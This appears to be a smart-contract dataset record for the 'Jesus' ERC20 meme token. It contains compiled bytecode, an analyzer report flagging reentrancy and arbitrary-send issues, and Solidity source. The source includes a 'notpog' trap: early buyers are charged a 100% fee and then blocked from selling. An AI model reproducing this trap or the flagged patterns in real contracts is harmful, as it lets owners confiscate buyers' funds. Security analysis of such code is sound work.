00190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204dcaa41a1120988070e2187724e6837c3dd0f6d10ecb746b5a97d32074eb318f64736f6c63430008030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,197 |
0xF7166693CF5A72520E72aBd0ad49Ee58DccF4295
|
/* t.me/JesusERC
JesusToken.net
Twitter.com/JesusTokenERC
Total tokens: 100,000,000
Taxes: 12%
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
abstract contract IERC20Extented is IERC20 {
function decimals() external view virtual returns (uint8);
function name() external view virtual returns (string memory);
function symbol() external view virtual returns (string memory);
}
contract Jesus is Context, IERC20, IERC20Extented, Ownable {
using SafeMath for uint256;
string private constant _name = "Jesus";
string private constant _symbol = "JESUS";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant _tTotal = 100 * 1e6 * 1e9; // 100,000,000
uint256 private _firstBlock;
uint256 private _notpogBlocks;
uint256 public _maxWalletAmount;
// fees
uint256 public _liquidityFee = 20; // divided by 1000
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _marketingFee = 100; // divided by 1000
uint256 private _previousMarketingFee = _marketingFee;
uint256 private _marketingPercent = 1000;
struct FeeBreakdown {
uint256 tLiquidity;
uint256 tMarketing;
uint256 tAmount;
}
mapping(address => bool) private notpogs;
address payable private _marketingAddress = payable(0x3897D607BECDa0c1ffd276A25619De3bD24B1f9f);
address payable private _dev = payable(0xF47dB7D05e87d09A70a6A83f5776D5732f829661);
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
uint256 private _maxTxAmount;
bool private tradingOpen = false;
bool private inSwap = false;
bool private trdg = true;
bool private pairSwapped = false;
event EndedTrdg(bool trdg);
event MaxTxAmountUpdated(uint256 _maxTxAmount);
event FeesUpdated(uint256 _marketingFee, uint256 _liquidityFee);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
_maxTxAmount = _tTotal; // start off transaction limit at 100% of total supply
_maxWalletAmount = _tTotal.div(1); // 100%
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() override external pure returns (string memory) {
return _name;
}
function symbol() override external pure returns (string memory) {
return _symbol;
}
function decimals() override external pure returns (uint8) {
return _decimals;
}
function totalSupply() external pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function removeAllFee() private {
if (_marketingFee == 0 && _liquidityFee == 0) return;
_previousMarketingFee = _marketingFee;
_previousLiquidityFee = _liquidityFee;
_marketingFee = 0;
_liquidityFee = 0;
}
function setNotpogFee() private {
_previousMarketingFee = _marketingFee;
_previousLiquidityFee = _liquidityFee;
_marketingFee = 1000;
_liquidityFee = 0;
}
function restoreAllFee() private {
_marketingFee = _previousMarketingFee;
_liquidityFee = _previousLiquidityFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool takeFee = true;
if (from != owner() && to != owner() && from != address(this) && to != address(this)) {
require(tradingOpen);
require(amount <= _maxTxAmount);
if (from == uniswapV2Pair && to != address(uniswapV2Router)) {//buys
if (block.number <= _firstBlock.add(_notpogBlocks)) {
notpogs[to] = true;
}
require(balanceOf(to).add(amount) <= _maxWalletAmount, "wallet balance after transfer must be less than max wallet amount");
if (notpogs[to]) {
setNotpogFee();
takeFee = true;
}
}
if (!inSwap && from != uniswapV2Pair) { //sells, transfers
require(!notpogs[from] && !notpogs[to]);
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > 100000 * 1e9) {
swapAndLiquify(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee();
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 autoLPamount = _liquidityFee.mul(contractTokenBalance).div(_marketingFee.add(_liquidityFee));
// split the contract balance into halves
uint256 half = autoLPamount.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(otherHalf); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = ((address(this).balance.sub(initialBalance)).mul(half)).div(otherHalf);
addLiquidity(half, newBalance);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer((amount).div(8).mul(7));
_dev.transfer((amount).div(8));
}
function openTrading(uint256 notpogBlocks) private {
_firstBlock = block.number;
_notpogBlocks = notpogBlocks;
tradingOpen = true;
}
function manualSwap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
if (contractBalance > 0) {
swapTokensForEth(contractBalance);
}
}
function manualSend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(contractETHBalance);
}
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) {
removeAllFee();
}
_transferStandard(sender, recipient, amount);
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 amount) private {
FeeBreakdown memory fees;
fees.tMarketing = amount.mul(_marketingFee).div(1000);
fees.tLiquidity = amount.mul(_liquidityFee).div(1000);
fees.tAmount = amount.sub(fees.tMarketing).sub(fees.tLiquidity);
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(fees.tAmount);
_balances[address(this)] = _balances[address(this)].add(fees.tMarketing.add(fees.tLiquidity));
emit Transfer(sender, recipient, fees.tAmount);
}
receive() external payable {}
function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount > _tTotal.div(10000), "Amount must be greater than 0.01% of supply");
require(maxTxAmount <= _tTotal, "Amount must be less than or equal to totalSupply");
_maxTxAmount = maxTxAmount;
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setMaxWalletAmount(uint256 maxWalletAmount) external onlyOwner() {
require(maxWalletAmount > _tTotal.div(200), "Amount must be greater than 0.5% of supply");
require(maxWalletAmount <= _tTotal, "Amount must be less than or equal to totalSupply");
_maxWalletAmount = maxWalletAmount;
}
function setTaxes(uint256 marketingFee, uint256 liquidityFee) external onlyOwner() {
uint256 totalFee = marketingFee.add(liquidityFee);
require(totalFee.div(10) < 50, "Sum of fees must be less than 50");
_marketingFee = marketingFee;
_liquidityFee = liquidityFee;
_previousMarketingFee = _marketingFee;
_previousLiquidityFee = _liquidityFee;
uint256 totalETHfees = _marketingFee;
_marketingPercent = (_marketingFee.mul(1000)).div(totalETHfees);
emit FeesUpdated(_marketingFee, _liquidityFee);
}
function endTrdg(uint256 notpogBlocks) external onlyOwner() {
require(trdg == true, "done");
trdg = false;
openTrading(notpogBlocks);
emit EndedTrdg(trdg);
}
}
|
0x60806040526004361061012e5760003560e01c80636bc87c3a116100ab578063a9059cbb1161006f578063a9059cbb1461035e578063c647b20e1461037e578063dd62ed3e1461039e578063ec28438a146103e4578063f2fde38b14610404578063f42938901461042457600080fd5b80636bc87c3a146102b05780636c0a24eb146102c657806370a08231146102dc5780638da5cb5b1461031257806395d89b411461033057600080fd5b806327a14fc2116100f257806327a14fc214610205578063313ce5671461022757806349bd5a5e1461024357806351bc3c851461027b5780635d12d79d1461029057600080fd5b806306fdde031461013a578063095ea7b31461017a57806318160ddd146101aa57806322976e0d146101cf57806323b872dd146101e557600080fd5b3661013557005b600080fd5b34801561014657600080fd5b506040805180820190915260058152644a6573757360d81b60208201525b6040516101719190611618565b60405180910390f35b34801561018657600080fd5b5061019a610195366004611682565b610439565b6040519015158152602001610171565b3480156101b657600080fd5b5067016345785d8a00005b604051908152602001610171565b3480156101db57600080fd5b506101c1600a5481565b3480156101f157600080fd5b5061019a6102003660046116ae565b610450565b34801561021157600080fd5b506102256102203660046116ef565b6104b9565b005b34801561023357600080fd5b5060405160098152602001610171565b34801561024f57600080fd5b50601154610263906001600160a01b031681565b6040516001600160a01b039091168152602001610171565b34801561028757600080fd5b5061022561058d565b34801561029c57600080fd5b506102256102ab3660046116ef565b6105d9565b3480156102bc57600080fd5b506101c160085481565b3480156102d257600080fd5b506101c160075481565b3480156102e857600080fd5b506101c16102f7366004611708565b6001600160a01b031660009081526002602052604090205490565b34801561031e57600080fd5b506000546001600160a01b0316610263565b34801561033c57600080fd5b506040805180820190915260058152644a4553555360d81b6020820152610164565b34801561036a57600080fd5b5061019a610379366004611682565b6106a6565b34801561038a57600080fd5b50610225610399366004611725565b6106b3565b3480156103aa57600080fd5b506101c16103b9366004611747565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103f057600080fd5b506102256103ff3660046116ef565b6107be565b34801561041057600080fd5b5061022561041f366004611708565b6108bb565b34801561043057600080fd5b50610225610953565b60006104463384846109d6565b5060015b92915050565b600061045d848484610afa565b6104af84336104aa8560405180606001604052806028815260200161195e602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610f22565b6109d6565b5060019392505050565b6000546001600160a01b031633146104ec5760405162461bcd60e51b81526004016104e390611780565b60405180910390fd5b6104ff67016345785d8a000060c861098d565b81116105605760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d7573742062652067726561746572207468616e20302e3525604482015269206f6620737570706c7960b01b60648201526084016104e3565b67016345785d8a00008111156105885760405162461bcd60e51b81526004016104e3906117b5565b600755565b6000546001600160a01b031633146105b75760405162461bcd60e51b81526004016104e390611780565b3060009081526002602052604090205480156105d6576105d681610f5c565b50565b6000546001600160a01b031633146106035760405162461bcd60e51b81526004016104e390611780565b60135462010000900460ff1615156001146106495760405162461bcd60e51b81526004016104e390602080825260049082015263646f6e6560e01b604082015260600190565b6013805443600555600683905562ff00ff191660011790556013546040516201000090910460ff16151581527fbbd2154e443da58493f520fb1a0b04614579664458bbef399ac6a4021c401c17906020015b60405180910390a150565b6000610446338484610afa565b6000546001600160a01b031633146106dd5760405162461bcd60e51b81526004016104e390611780565b60006106e983836110d0565b905060326106f882600a61098d565b106107455760405162461bcd60e51b815260206004820181905260248201527f53756d206f662066656573206d757374206265206c657373207468616e20353060448201526064016104e3565b600a8390556008829055600b8390556009829055826107708161076a816103e861112f565b9061098d565b600c55600a546008546040517f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1926107b092908252602082015260400190565b60405180910390a150505050565b6000546001600160a01b031633146107e85760405162461bcd60e51b81526004016104e390611780565b6107fc67016345785d8a000061271061098d565b811161085e5760405162461bcd60e51b815260206004820152602b60248201527f416d6f756e74206d7573742062652067726561746572207468616e20302e303160448201526a25206f6620737570706c7960a81b60648201526084016104e3565b67016345785d8a00008111156108865760405162461bcd60e51b81526004016104e3906117